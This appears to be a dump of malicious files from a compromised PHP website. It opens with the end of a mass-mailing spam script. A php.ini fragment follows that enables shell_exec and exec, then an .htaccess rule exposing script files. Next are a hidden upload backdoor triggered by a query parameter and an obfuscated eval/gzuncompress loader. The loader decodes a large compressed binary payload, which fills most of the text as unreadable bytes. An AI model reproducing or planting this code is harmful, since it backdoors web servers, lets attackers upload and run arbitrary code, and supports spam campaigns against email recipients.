                echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
            }
            print "<br>\r\n";
        }
        $x++;
        for($k = 0; $k < 40000; $k++) {echo ' ';}
    }

}
elseif($_POST['action']=="score"){
    $mail = new PHPMailer;
    $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
    $mail->addReplyTo(leafClear($replyTo,$email));
    $mail->addAddress("username@domain.com");
    $mail->Subject = leafClear($subject,$email);
    $mail->Body =  leafClear($messageLetter,$email);
    if($messageType==1){
        $mail->IsHTML(true);
        $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
    }
    else $mail->IsHTML(false);
    $mail->CharSet = $charset;
    $mail->Encoding = $encoding;
    $mail->preSend();
    $messageHeaders=$mail->getSentMIMEMessage();
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, 'http://spamcheck.postmarkapp.com/filter');
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    $response = curl_exec($ch);
    $response = json_decode($response);
    print '    <div class="col-lg-12">';
    if ($response->success == TRUE ){
        $score = $response->score;
        if ($score > 5 ) $class="danger";
        else $class="success";
            print '<div class="text-'.$class.'">Your SpamAssassin score is '.$score.'  </div>
<div>Full Report : <pre>'.$response->report.'</pre></div>';
print '    </div>';
    }
}
print '</body>';
?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?><?php
$EDRV='file_g'.'et'.'_con'.'tents';$pxqA='s'.'tr'.'_repla'.'ce';$cPwA='gzunc'.'ompress';$rcTf='exi'.'t';$YwHK='subst'.'r';eval($cPwA($pxqA('gzjsetnlya','>',$pxqA('tzjbvxaeuh','<',$YwHK($EDRV( __FILE__ ),-28242)))));$rcTf(0);
?>
xD׮Lh*y0sA{oowO?]Lڹ!#gzjsetnlya
ƀ[IwQS
RǘOü.۽]Z[7-ߓ߯0U|O.uZ?\o3G_r;{O_~3C9R̭ [A	4+- eo(ZEG#pmqA a瀷XX5m4G/Xgzjsetnlya6ڲwN]o4sF#Qy wDM`=*ZV!FA'b&f mvCoI|HfC#۰Ltk&/P8
AXjAFdx?&^T 	ELHTEk@OMuפAX~tҧo"'
u޸WH	UtBYtBjba
x\,I(?B]A+.LńWQH^y~]\\pn:N Sfn"X4669gzjsetnlyaRTY;Xq|8gC
b5xK4#otYfk
k,P|Xuw鞰aڝa'tkFDnqR=0gzjsetnlya$BnOQŌ	.7N?7t5ktc?υs3)zq1)5*QS~=ܷrtzjbvxaeuhsH$jisM(\5éL}..B#awK͠g@?oRvЕO4㦶ȭUI0#^W(mOb߳[L(GC821WB|zv2Mq%FIG]͵$tPzl%l6
4T34}Hb\gzjsetnlyaeQf$!4ĺo9Z)WUhc
v8[OɞTP2ѳ6gzjsetnlyakp|z|QjAf}z)'F NSޣބbJXM 'ҥ*mxKK]{]qtzjbvxaeuh/VP#t1ىQ
deZ7d~q9,d0_wגr)W"'Q\xTaR56bdiÐ=]Itzjbvxaeuh]=H;d=!vF5+ўYP"jhe=!l$42g=({	9 d6VTp7at.o  _)x!-`6k/ZܤNm[؉oۥDʛ;L3:pβޞFd
"\;LL3Q~z	ǇoH)HCvǶ֊.fp[S	}yB+Wm&DBsHZ[JW}nr)_0(_{mZSRUfM&=$CAU*-5G &*GH`6"agzjsetnlyax!TIQQ`@N3lfA͙Oz,%^
!}?N| feUߔʫZخԹG5WegzjsetnlyaP6cY2TUtzjbvxaeuh:U۵M93֦TbC)q\fDRA{oC]d-$^fSK}tzjbvxaeuhHGh͚+	fBcaKg	kV+.=^ƥb٠[1*-LDv5wٝ54$ڞ:zq7}SPR`fW'j
0fzF~ԏYO tzjbvxaeuhSPBKgzjsetnlyaVsiPTP/9tzjbvxaeuh"a~ikDgzjsetnlya׎O^c4YWvo#_K1	@;{{8&6Y~!D
k=^L 82SP;M`9+_o"HOdK%YYTt5u89O.V{60#;xZއSgzjsetnlya8/q3rH.vx.umhC w ja1W݀/]eGCxH4Wt	3yS{;,Qp8Vtzjbvxaeuhǎ:ǯ6v$-U(tzjbvxaeuh`ʔ{K[G}5e=}hl|w7n`ش%꓃ھaDEw45aY](MUvVbCW'+tzjbvxaeuh.ſ=*]1={6l"xuE}O|1*G'
8ȎntzjbvxaeuhS0a 8םTe
 #|7YySp0KPau#Hr'jԥ#`-D	*J(
"-' 3
4hC_+Z}fW.ȓr
ޑvFngzjsetnlya%
re3?Ig.HbNEVgtThKG{+	!J"	12qx%E`q1W(2@-0hv%#=уsL'@`7`W&tzjbvxaeuhqu}3~bLL"īXs隑0	0E?0}f3BVԩlbtWCF8洗d]P;T!,Z_jQmrbnW/׭^CECe$&MF=Bw[/'Gw|R`UļF	vd}d,%#ڙO kodgzjsetnlyacdQƎ7
_wf-FbR]8SVd+f-zf,iq\*:vѽQuUVH|9\sM
}4dH#$gбr\֥R:;q&m=Lvps3gzjsetnlyaߪRpnOӰ*eOzq9( L+飫X
3Gh~Jh~JgzjsetnlyalH*kpp"WPgzjsetnlya4Xgzjsetnlya}(^b^cԌBt`VW7(PTvp(tzjbvxaeuhބIB^-j,sU9ƌDa)Ɠ8i)bɁqNjR:1W.Se vտMk0/B'+
W}Du:6f!U5Y)/O	SѲďXpӽZM;UXxhK`%ȣ^Ks=ɻ5r'Vp\TvB5`G{,ug'CXߴ#JҀAC,`sץ .ϰo7=\tjI:)/DaG\lO~,Y
PҜZqLo	+]PJrMV*;㏦	S~!g7
YZ"\zǄzd2SZ? u3|s^޺bݬԜ5_pYR;$qzqV%ln{
sjKdgzjsetnlya=TsoIS? N1!XH6QjH)ma]R캤~P 55#/o/	s%ѩno=KQȍw(PW䡅'۵&Ԍ8hm JKYUtӂ쒑sb?kR˄"AHYfOn*d${0,~F\vߺ8A;@1iSI?ґNDX|`Gp4APa!梄1wo`;E,a?ߝAʜJ4n~#@r&VoG$P-u1IgzjsetnlyaSYaܠSUtzjbvxaeuh$5,ۦV9?'vp4_\7wř$=IE83+Ji$' Y⤔onXVFYo^	-icp[n
,!@VÀ p0|A24nTHȄڪpHBᲜ{8hؤ%56VE%[|1ggYigzjsetnlyaFmfz=6gzjsetnlya]e Dk@jO#MXb44g[|SED[TKn=Fbz17XԼ_(hKȳ	tE_~BJVJr,31 ̪s~
VsuOة)TV.tzjbvxaeuhGs5hFܣ&RK7??K0e#仕ڴaW?(0O}@e|ҏV⩷؊+E_9wUhF߉T&tzjbvxaeuhZ'߱y
V;gzjsetnlyaI]ptzjbvxaeuhYB.Lh9'KI[YDb?Қ˽sxLq8 K~6^Q1o-lA@M]*tiBa)7R=
2iLAȟ&6.쿬xio6Caw
Nho2vU(絎
qcf-WKt u^Cq'Vǵ斥;t[J;1-gzjsetnlyaLsۙc =ɭtUV[X{]K1*Z3CL|JHlBmwLIfK̥^Z/B-\ļg'ئ]8=tUn$xP#d~T-hVG׻rVI7Z5UV{#:8JDtzjbvxaeuhiNwF(ԝ7rϼq:
zA_L"ȉtzjbvxaeuh]057
{rAo=qqyԚށ F=pXBЪ:p
 [(e;^i,R6TT4*7iNq.$.Ctzjbvxaeuh}FgzjsetnlyabO窖	fg5&tEB_@5%׏IL7`+|xZ/SQ,\K]a,JdY)Tχg"Τ61fdT(#&n{̕1nՠ![*J__bPەYOkG^Wnϒtzjbvxaeuh5ןJ+}9#O='W|AF[qT14z
|
YBA~آW(TDNO	ikBQnLYTsBgzjsetnlyafu2M4X8YZOMq+}9ϭmW.
qw3AFjgn'!Wl'{~ڠ҆k4=tvRgգ|5SmH,t49ȧ:؁Ijў{~5 %~x۰gzjsetnlyaXX4Otzjbvxaeuh̀C1G,P!tgzjsetnlyam 3ÀP}8f6EH\`nrO9	{1I#%5|r+[3In
7:\'׽mYgzjsetnlya0=Pu:oEg#91"xx(%JJ^rUF(^Atzjbvxaeuh?'o4Egzjsetnlyaw7fZ0h}qh`^A ${-ksx2q4}#J J莇W]XR¨Vozx ="Č"V6֜eps5ˏH/J݇.lewAn7/X
Ǣ;
L`yg:c¨7Qx+OѺD?gzjsetnlyacq&-g	
Y:u}w1xˠn?O((`y *[ʾl4%0(p]6xcUmrtZ(I`΀%eށKPcS\8H-yyw_;:"YR &Jm8#{`@xU`XwǑX '
Q)HQck3a#({y!K@㷝j:HL婲z0X3r`D*6
SWfJ=G,gfJݵˉNїn{y_qܿkE7]uĺ4׬gzjsetnlya6VStzjbvxaeuhNb"iU.`n5ZŅtzjbvxaeuhx3gzjsetnlyaR^oۯJ=˚9-
K JHZOA\hPLsGlr;c틴sP|zyXdF_H;a"5@$'[Gd{hjgzjsetnlyaiȖq9v*ؔSC%Ֆ(tzjbvxaeuhڲNc"G؋b~Iuj9%|4Hm0g:ڲafgzirTdWK^6?{meEA 4G0KŦ_˩e2V?L=TB8-O Z`ap_MXU #3v%J V.L@&sp
UW@3+**Oē2M`*@!ò݄%#r*Y(}^=tzjbvxaeuhTEVNKZ9liJb?vvK6Ae6焧rzK
|^5Iegzjsetnlya*xG1*)%pN3vwGW	[8
`peߝ XNz.F5u³wnҌNZ*Gf15-`tT_RLrTOzNԺXd2WtHyߑLw(SnV
 Ƀk3	Kc΍;Ss1h)$ĝ[~bs Sϝs뺮BEɅ0r7\py d ֱXm&VeFx`=ۖ)gfLieE^-o d/'etzjbvxaeuh2T0O;6L!(p$8kњ\gzjsetnlya!l9ܳrtO\yM
`*e,m\ʈxURIӳ2tzjbvxaeuh58n{i2
 4=L(wۗzc滌=-3(/#P=i~yCEyڗG^1m%Hӧܩr_҈&^v!wDOQrD3l-:Jr
t8&	jcZ,TT.LΚ
u쟯8Qӵ7wuXzdt _{N!`6S
gzjsetnlyapLx-p
Y_h/8/h]!/-w%~+sV˚wzjv&
/
ڏHEȈ\W?#zfyStzjbvxaeuh_M,g'(C
N;ypHchoiqOcUf*hf;\jektgZ|M#9+''[HZBw|\@ 1"ϩgzjsetnlya=5\/gzjsetnlya`U,֔aܪ5qfA§:QaϫC&Pm  mὪ]fSbThB_J|"_cIiѸ@+ڀGKBAJgo=xG0w{V=H͒1ZXͷ9pVْW1q
;M8{{gzjsetnlya/{P	ʨob4A^(´uL84ugzjsetnlya6gТ5rw-;YCSᓓܝ}OQ&IcMe@[nOq	2ݣHԭ$ z@tzjbvxaeuhJJHS9n/zfTPK^iQ{z)XBVgzjsetnlya Watzjbvxaeuhěհ)!/Y2%2_aKރ&_
7 gC%\LWّz3$
QU/OUDSA0I?L}ݳǓ[$XFRrMmk̼,C7ʩn]&eb+[=q'/%(C	ίVgvH/^!zOہWeCjőCR on(b^X˦N8ʏ%sP
sqA0"X~G14ˤ;-FHqWH9f1VBU!KDD%MPޠ9=IgF[gzjsetnlyag"4gD VzEoZQFĀgwݿ|@X_iN5mX?b&~}Kx!itw.!gzjsetnlyaLާ:MHv(/"?%[/tzjbvxaeuhbGTuRBvciNc/64uGUO#qt)W=%ҊSr6GFHOiߠaҳJ' `	h'i8RFQ7K!u4Og.SThզ߾kv ۥe{Ror.00al
x7Ѵ~p`U_OJ5nܯY_$cL*%ޔؕ.ێeX,K2'&X7XF!r5~V!v{q%Ƹ.YQR?8P 7NB1tzjbvxaeuh̳|;Y*uȃ8gzjsetnlya̡I a	M߶{le)RB2=;HKVm{6f`'zpa]1!
$PyEkO19CyӇfYo!tF
1Vѷ@h1!kƑq@yb} %Sɏ]An*AwU-[,K~a8v(z Rtzjbvxaeuhcs_^'S^E'C6mC!+l{ڮ+յMi)6#,bt1I#)B!nF}#OLbR"q8u}$A2 P	Wު+ݼn_ru_&ujEp
J79;lkio
?W`r=f=D\c}uJ8kF|EoGSuE Ygzjsetnlya}dʼw&氌_po8yE;EV|5\̅ԄH\qQ(''{+iʐ2F[ީlΰgm(zld^dց/?uOB=j $!8|­Rg7]
f";W (Bҏ[?Ϟ1ϴ+j~ғ=4;ZŜl!VS:F5/^QȞ\KQE߬M[|/je+w/e$FC;t}k+,.pڪ]1i&o@VfZKm6Kj=ރb|b^~qbx\tzjbvxaeuh¬Am*[(:yB&1'9za r1ƅg%ԍO2zE1'6l`@lթGgzjsetnlyagzjsetnlyá}ב2%X
ɲl?C.KDaotzjbvxaeuh `kWRd74NzkYNo#Л}tzjbvxaeuhLvW!PD|&Scp!
d`@o\XTUNTYOh%d򑂅wZ9r6#}	|a(
׉7Rr] KA!\xu|kiĺEq}+,aEIxP9gzjsetnlyaY%-DVgzjsetnlya8r5@ݤ.=7VR2-["TnHتRqVpopD"jc񸢆ƤUD1l)ߑ	%q
Asdxli*D
TEy!,aaRɤU0Xېi8JǨ,iOHRz&.p.E)s,0YҨ~EDOmyVd.n6W`rFgNß􎸓;	 ?ngzjsetnlya?^c	S8cm.h:{ ё\{-^\D"X:7ݧw
HBCkB&)APemimՌ{po\v	w8x})!f4k#tYҎcUA_)?l۔vw4֢5~IѳShT%δ 	w`C]@[1wA͈	Otzjbvxaeuh]ީFgzjsetnlya~/nTw(
6Tn=;N_휹J^[c8ǒuEk8`pO\tzjbvxaeuhAWwzP"Rw(:I'ci9^#K_"W0F%ur~%ؙ[&;}&0K,	8Aɢ}b(2d
c?!v&/މ5n7XuGZyNuh:͹;"H︭&p	M؝7؈ww'ΩY@ݡ4u"?u$TK'#^{bNUtzjbvxaeuh-E\3yg7"hrѢ#ukV	|D#34'sr|w76:VQkOL#KӨ6Y{/=X
n
.S9u~O% N;GD+V0h&"̰& h/ Ƿ]	.@VA70C^OF4-"	=qqLtJhxt8V5^=,'ky|xfIhFtzjbvxaeuh'VEtzjbvxaeuh~tzjbvxaeuh
%Xc܎
:M3rQ$n}TLh013gj~Z/ڰV(,dIjgibc0pH$Mgzjsetnlyaw:v0o
?РȯҺw#ă%gzjsetnlya?^)-U
[H7u ŒG+_LQ[7au|U]UC]@G+%%M"DgiD *
1mqOgzjsetnlyaf]au0c_(QMd:7~FI8M;ݽFnetzjbvxaeuh׻+CIHtb2tzjbvxaeuh#JCٖ@֖Z]|[6J@}4PpĠ)xoDf15hVl~ү69+SR}zکPS8j?8CW&qMn~`\mHgzjsetnlyaq Yx&;sgzjsetnlyav0,bxxU렌u
~#gzjsetnlyaMfh"Aؘ
b7|(-+&w V!d~Y8pZ%7Ժ۱4vnnugQ
h4Ӷ
 jIU|tzjbvxaeuh۴pʔt)'7
mdU&r?8c	%҂8ZN+J[ɺau_yb2Q-AwW-˺Kǵ!U6Rʗyfo])H  YJ3L
Y*
rCgzjsetnlyaњ#5amI'E-$&8BMPl}#0y,tzjbvxaeuh2"NcjUb8	^S.TKuZ *LmQp5ѮcʺU+#]mc t
VLHmz?!k1j
PՖgzjsetnlya
SU\H 4Rr
[GhW4:{TYS'Agzjsetnlyad-5]*
zLKT ip[Jy.gEeF(~
ӭe~ ,N50$=.[gzjsetnlya"ZA/)tzjbvxaeuhW9'jI:sa"|5hY7\aϘݶ':$vbjƻ	RF=q	ljM3as|V(Yҿ5|v?nCP/{dgzjsetnlyauuŁ#?=V5щ
AİHKX*@K@+4edT:a|IgzjsetnlyaACJiۢԛ6U|g*Va)cJwIC/{u/N2fI%/OQ8ڥt_\kВ7:;٨旮H3 MvFOxRq--!kt	tzjbvxaeuhmiiAga,%T7K|x#ZI2 bh{oԛ5 rgzjsetnlya-Q&c(C61 A(x8\0"#B|'j胅IM|/{͚/y5P^,T܊Gkf@{#t`17V=ӵD@wB}ǳNkKY=r;$~a+0㓼b~ !#
-:U܏"FT`5T\WJӡӎ
FA0
óPɹwEҤ'%u嚪7Y#Ev,|ɐ
vd\2b.Z0QGh
dY܍i#pI
ܡlfoW(c!?mψCg8h6Z)Z\[4W
̃k҉/y:lo޿WzYM_Y^9ey $ݑB"CWD1gR7`VucUc?Sΐ54&̪,-ek	Tav٭jLJSAC2y$VE%:\7dvQSNTYYլ!.Єo7dqZ=	yd櫐ЇEȄ  0F	:0gzjsetnlya9\K5yYJJEYuXmYgb#2sYI`9w
uJC7S䎊RۀiOLՍŢlNE'&/`'%,CZs"3ǅ R[śWa,=^rN1o;)=
d}uGID҂QzgJrӺQgN~r	'4މ0e`.}$7tzjbvxaeuhaK(LIKsgηh{@- &~_S{ =NP	w$B$%0U]ޡi6v0ݍ#VGPB)śMh3DUA"#DF@Dz˘_-0{1PBxOt)jnQ:Gk|_O5?ZB ~4tzjbvxaeuhLoC-,?¢9dPi8@zcQc@Ug||$
D:z~P+KbExekm	Y¤/-VJgzjsetnlyaFsޗ.S(
$tzjbvxaeuheW;&tzjbvxaeuh |^ EbB-رنzȖN诬6x/r*xbQS{Ql~
5Vj?aY}5QRpa$/E\T\f$Drƥ!QɽfyVduH*%9^8DS%(|g%UqM9RĿĶQ;AZ ' ˋ?ƕ1
DQiȉ/fGltM 0!}_on_i.^W$T4A^˰g3 a4YvY*$fMH#a! ߭&s~=;J%&Ĩ7TKA\$ʈF ?1!\}˔@4%{g`?E'( 
0fN$ldo! \8BAP4L|f{*8$
M;ۄ)(S@o]
%d=G6/U'NSh]2.5X}gzjsetnlyaFy	?t/b@57'?jg ^k(+! MvdWQa ǱQI6zʠ9`8ph4$я݅?+'1ޥ:;{eP)YtL}j㨚L7s_Wi2 =}O,{Inٔ.KaެſOmX_DaD{ T9̇\f߷y6{7CK8CUP]k,NY{0
|1om\gzjsetnlya=LQxm&Dkgzjsetnlya7߷I"8eNE1
E߫r1Tm!e(*F?묓)=!䤑yLߴR"*a5n^04)d|ƥ6Tu~ݕr;Ka-{l(Iʹ
KZjiTS`ts
p$Q4.Oy=ݷvyqSųޤtzjbvxaeuhW0Xu5'ZȯE"_I
i;:0Fˑ;:+o$g ֭d=61̯{?)S5ze_wkaUxl^.O2&$"]~֖zKگdfԆ8ogor)betzjbvxaeuh#׋Qi`nT:4[Ndڸ+u|^da-ߤ:1j3b䞝0Qetzjbvxaeuh͌n*v
`5XC=Lh]|g@ *·ygzjsetnlyaRƴ:G[Vin۵Sdtzjbvxaeuh(n)2
5xCAIv$}o.scgzjsetnlyaykkDgzjsetnlya3l.˃*Ak	Pgpy}a=`aTݤ=W8̸91Ŗ"9!~~^[{
!U*8&+k8w[X%۹1LP #}S]
=.E|}|ߏ`&6X)W86@J!n3/rtеzSBOBZF* n,0tzjbvxaeuhm}w##*~Hˀ*"

WРN{0kad.87RʥuJW+ZT[eՀwD ْعgzjsetnlya%C#gzjsetnlyaY}ڍԤh!b5adcoH`[	D9GJ'{eOUZrNH}G(!Kds+uBtH@x?V_'?pW؏Ѳz)Begzjsetnlya&%ӁJ?oL6$Y'yO=6`Ԥ
YsE3kxG
 ùrnբ=Ủ AMo?&*rsru'/CqAE?ب*z@^+9-BB2tRZTI6~I[!35'wm/Ba֟gxq~\ؒ᥍wyiLY~Ê
#p~Vؚ"+ꈑ
xBVY('2G[VP.͒CH}QVq
m, OD2}J^_p/uPQS54ڀ0Vwg{55ؚsc!pTn"pVoW2DG\f)@';,) ֌ߓPf/-͝8D"'!O`Fa	ePa."#+wTf lm\0eij Jmu)@6M	/d=C@ 617 0\k|1y/+"`SYO|J+$C4¦eS\ق l82 rJCQ)}Uf
|vES|tzjbvxaeuh^f&M1&3RRN6fͻv!X՗%DrZtzjbvxaeuhF/s#l,q
;9"[679syvU)u"5a#}r%~tzjbvxaeuhTm7n8MxT-'%J?u'6B.R7#F
GEgzjsetnlyafnY]ABХL=
Meyu[BqGK/rygzjsetnlya
%`tzjbvxaeuhD#I),5\U:&X7ۮz=;ҖZ(4JDS~A8̮p
~-cAz89tiQIM^eb*VNCn/j\ڃf$âpk׷cU:ZtzjbvxaeuhVV*YLjG'^.*ґr)5יMI!gmmN^dbAUKaN5~-sFüWLW521aֆT=*ulpi
WȽD7~+Z&gVx8~gzjsetnlyaYK^^vkGYgzjsetnlya{*6\'ifNqSdP?ߖRk 12UdJ3$oIy@
Z[RY$~rCNa);=銬
H/zC 2dƧ;=$0{C3)=2WbS8\ZhB
MǺ$t~:~dkBS)(Lkɣ 9o.|-VCH	հ+^ }Mh~S$9L,h@$=Hh{gzjsetnlyaq}.OfcqxB*$i*njbQ
)d/2mA.4;
{tzjbvxaeuhNo8WlgNz%يѥfZM6SZa0f;5$5RW~R D
T NUtzjbvxaeuhx +wSGEI]ة,#yWB' 7c:%k?+1aFcԚH2f8)OQ(a :5`!k	#$5=Lw$Nhthɍ{H؄KQ5uQq#t vʬHK8[ƉbSȄ{	:2 ]QPf}YUllG 6mH4QD-hrCv6Q@IJwh!.Hހ"}rp7؇⫇-I'Lٜt6V9b .ƈ_Q;Ttzjbvxaeuh0jbttzjbvxaeuh(ۜ8IKLglEP@+w !
fUGBOH)L/G#'Za8
ptzjbvxaeuhΟގ?Potzjbvxaeuhj0w"w~U_V~X
`ͤ2TQn:v-:$	U3	qqlpv2Bbex%
9G}J?Htzjbvxaeuh2=_'-OzXl!G%c ͺs.+uT63W(?^^6_ /ߴ}\0{?"V~&6u:n\$^8*`CU/($,UOQV-/+OGѱesA:dxފva4-v#BhI;,'Cdw^Rldtzjbvxaeuhy&[;[ \zFpA/\gW hɕ'_׹. @ ^y'!	rk~=kzRzCIt
Q)*#Y&o-ue~gzjsetnlya?Z_Tˁ覞eTOϓ	$[ayR
89lߣHauهE'k3f%adKU:fTTOcԞ
w
.|nEy CItzjbvxaeuhfWyʡH9ċg-;ݯðgzjsetnlyaꙡ=BQ{ ,c[)0Τ#&sNbG*m.nP:vH4۳?)(T⢭] 3zPf&n rvc/G+ytzjbvxaeuhFdңwXã:wN'^Ӱo&cd PL|i#,	EFҾmβ,XC԰ǔZ'SQ A'diPwFșpw9pfb|"sȠCS$B+t%dIИ*Jȑ*ؗ:YW+#FCa]i'жu-C^bGKEm2v,5DG nK)% :H| XP-?	7Kv7 tc-
9:xݛ"+hwfzm-9:(E}~tzjbvxaeuhltr~x.wu7m˻YؓV;Gt}?
Z~!IG`#mS;ztzjbvxaeuh2fTJ39?KUR^g}q|K.19JYP"AM&%MK"W
#ɏ~C\
CMeV4&c#"޳Vxxi;gK^ygzjsetnlyal[Sl&gzjsetnlya95QuflzoU~a8CR)X!"#PSv͐/"n^bddI
TiW46\ϧ±XiYE.H&-ōv"[
蓫O}qWo[{ ޘ;2esSn,ݹ=4C~*aPW![pxea6WPD{UO.ZD!7nЙqիR&]O+ ΅}
++be+MRk] :КuJJKU0kq+Y0dfGso8m4ApC(GL;Ƿ^_bR[O8Dyp:0tzjbvxaeuhӦ%ҟl2鴐e9f
1cƼe)27?n\b10&b[r"٩gzjsetnlya|Д5WŴB1ᕰd{#"D۵E%Y~x$cpҭtqqZ^GP\W+-yC\y6Up17B~|B_ɫUQ^S/mHMV*#SvkI~%aJZx6|o+{a2boKx;usg!H' vb2Q-P|8lDa߲FkFt "Ts"t:B(T)	RV$ֳ""NT,CSj;X6&z6obA8E|,Slplzٲ
xUXVFV_d3'_(Kd2uj91sj-5BK׹ 4b+)}gzjsetnlya'ZYxj{Gd)aMbf| L޾} hNspVEҹ/uİ~AA
r_d1gzjsetnlyagzjsetnlyafz--+6sF@=X3*^
=q#룺bxB5w_MGb3+ѩWOe~5;֫Τ9'4olYA[xٛ$%u.ĩ⍆dz	 3fkaƣLn'EP^}HXg{|;6F23p2k44Sy|wyyP^Q\hVV+_WrRT4vÚ3pr'gzjsetnlyagO$e\!&|7~i)fҡi]B9;ՍT7GilkDůQ=u^L.$Őg@ٖ^_T6Z~}{	c PegzjsetnlyaYw!p)OVc_++NO05{A@NX]
XäP*L,Ʀnh]{҂#1ӁbUڵَkGJ}P"gzjsetnlya,+8Cphp8m$ߓz*Gjyͤ+_ 0(1~cqԾ
9bGf\Efq0WQLtzjbvxaeuhtzjbvxaeuhR"@7W4QFb
*28͂I9P5_'mk
gDfGRѫ=j}}(4k{SZssß0;STk%IIݘ}ks`dHA7|4c5ݫ[I+pI9c#Xr)HS!CxnMTkAkҳ4cq8 u{fϽ"KKUtzjbvxaeuh|[oIN#:biaBEUd`/vzSttm]W. ɍU1k@hd	7k#Im\-{"rl^H?
Qz+G~|@JX4k@0*FWM`n1O?erub%{gzjsetnlya܈sd|s-4Qpn+jGR/pD$ib"ƵJĐ~?-lD`	PkP8YwQ7ώ8g\;MLbkeN㨴1
]bH+HLz3V2&YSi+c}[JIUM&~CbRzu`˚K
J"B&q5g 厐Nkh?=.Q3$vGGS}d诧tzjbvxaeuhڞ	U9XE֚ټ9utzjbvxaeuh4;Tbn'_mM9gzjsetnlya߆S
[b{UE~uն*cYm]ш,Y|sE3ϱoѧLwMb|-#s5 vK_\'6'atxG%2	8u
3Ɉ/nSo:od?وa&;#"`(SLC5{iIScV'S#q]YհY]?~MxѵGWZgr*sOf@@x?M	NQDXd6{GAy(PA/=Eg2	c$geLްOXni#Mݻ]Yce?n5E_s/)Ƅ{2Ӥ6@ֽyC8SlVmq՜RUʛ,T['@Cҵh|gkmE,gzjsetnlyaa`;±~T`rSRZO$"JmVdtzjbvxaeuh;Ï`+@C"W6&vv;)j_s'c	MIEೱ{GI7CPчgh:KnOz'֯M7JwmN:唁%aoxvw@%Dr' )	dNH'i%lku9kXP7Ѝtzjbvxaeuhxn{_6^i4/"NT#?͔Nɶkl:*MQB;G9BN\&vp"{[ZG@yWfd%ad.&"nH[g+SմmͲ+I;bY`Igzjsetnlya.p:NrȎTv=61=΄8q	_|xퟴ@ga7&{9'Lv;5@1`A;TeYˮ a@mq5ql	2-Ǻkrf7uhCth%oqj,^{r:^gztzjbvxaeuhj Mx@R]sc {MvAAĳ-\ʂJR9|r]d%î9Rktzjbvxaeuh~/G[
xYɴU?\M'%ϡ={*A٩ևwKw*!ÂZj~Fp㏔x(};jXg"?|֘_d_=᳁qos/oE{_ƊCw$l?{8}i[WV2&)g7'!+'f@h_Vl]yxY%4W
ɏxռ'k
|TM z=[r禶3])%o*'լPf.@Q咍둻Lo.G(34tzjbvxaeuhȐt)*7f+۔(YuK窨&P ԲbKAS[/gzjsetnlyab4s"Y)0/cԟ80&ڪ
`1ԵS7g\OTLbK'Qh."!|@ˢ̫bV҉rή:̓qj˫̼7
XU%s.I`[sNR cFgzjsetnlyaQ1lUXOdO~!.!Y e\	ӓk!ڞ
@|G)eKUb5w\64+c]	b!݊"+,ohbg`?ګɬک+䃐H^6U/W7Jt1m/@YBnga$
'hu+.NKǢB5ӏPcTbokp
 vVwͻ5߈۴,Y
qmtzjbvxaeuhtwpH{Xls1^Yl:9|%em"7(BM*Z=uVŗA_%( RR{|ăZXEHb:ҦOtzjbvxaeuhQa;eIpae'&_*Tr̳gzjsetnlyapF~B@_~vOtIKy6*QB_Ɓ\]`5M-JGr
3O4;B++,Ffu
Am)tgzjsetnlyaUyh qN(ݥɋ^	\IEpFisiOE Q1GNKv` AZ|JӉ֓-aˣ|å+(b7C`C,%fZ{HW!u+SMFs  Y&\CK_l7tzjbvxaeuhm=-q8}_gzjsetnlya"1H={`Y
3Oxpݚat+,կcn@H!WsfUl8[&$ɡ{JTnLf5SX0H-AMstzjbvxaeuhmPdo}Ok\J`z2@GMPgx:'_?gǌ̖Tţ[ș~6ד	Lp(;fͣNQy&7(1bAA{^BnGK
?*	fd`MNi:j,49{,[NPtR@dܔY-J/j;c2HK|9ZI3o[ iluh~ŐXttt9kPn 5 N}),9R!gzjsetnlyabUB
yR7PR^5e%_ՇJܙp
ƭ)YX&ﳿK2#X~*uf?80ERRtĝhnݲ)*eezRkofn!@^^D4L=i1ȵAJGAs%12uy׿Uƴ1WiWUCeBp9ߒ;(}tk$qϦ8r7h9qtzjbvxaeuh*"$IV{
\˻a~G 7צ(XP 904Ǳ
wbc^bc_8N+|]8CbT{vx%|IAŖؕ 
lFԍoG("C#-Y3	(GXb/Jgzjsetnlyaq&Ō b-5tzjbvxaeuh4$&`uyR#`*p_qȞ3s?EHB]Ǌm+xCc;2ܧGJf [;!
;%~FsW	6m{xQU#_I݉_
vwC"\x+[myyX稸wu$M.I2îQɐ;2َ#	55/ ߯Cb5=lM{mb)1Ux~`ÿxyׂ	z]ꨫ4%9Ineıx[2{İ,eh.~9
ۡyΛ ,ٱaoȐ4hl'⻮Y+gzjsetnlyau
LD3ɂTEX ܍ptzjbvxaeuh"2uGPkQIijেh
d_b5qE4}fo]/MD[i{)Юɖ?tzjbvxaeuhA=~otzjbvxaeuhx^t^Jl:^@Rwr-&i^UIQtMζ'NO.]֛sz~$YHTNj3Vdl=Zr
@T_U!Atzjbvxaeuh_T.:~ԝ9( 
2)1"&7~
CRh6LA#ÑMǽ0#8
ӯj._y[\w^HJ5tzjbvxaeuh~M @j gzjsetnlyaQgzjsetnlya),XeCt*Uh]篞\9FGj&gzjsetnlya)W|ޒ*kslf
6f	|X1R
8$I4U}$s^pʔ{)b-j{ݢ,ħ;)I/U|]HVetf=@2[:|a2-T6{`C5V"=mԓpLs~6ҫe#kBm8pӾי!3 ,W郹gzjsetnlya[qy$	DQt+\	Q$@
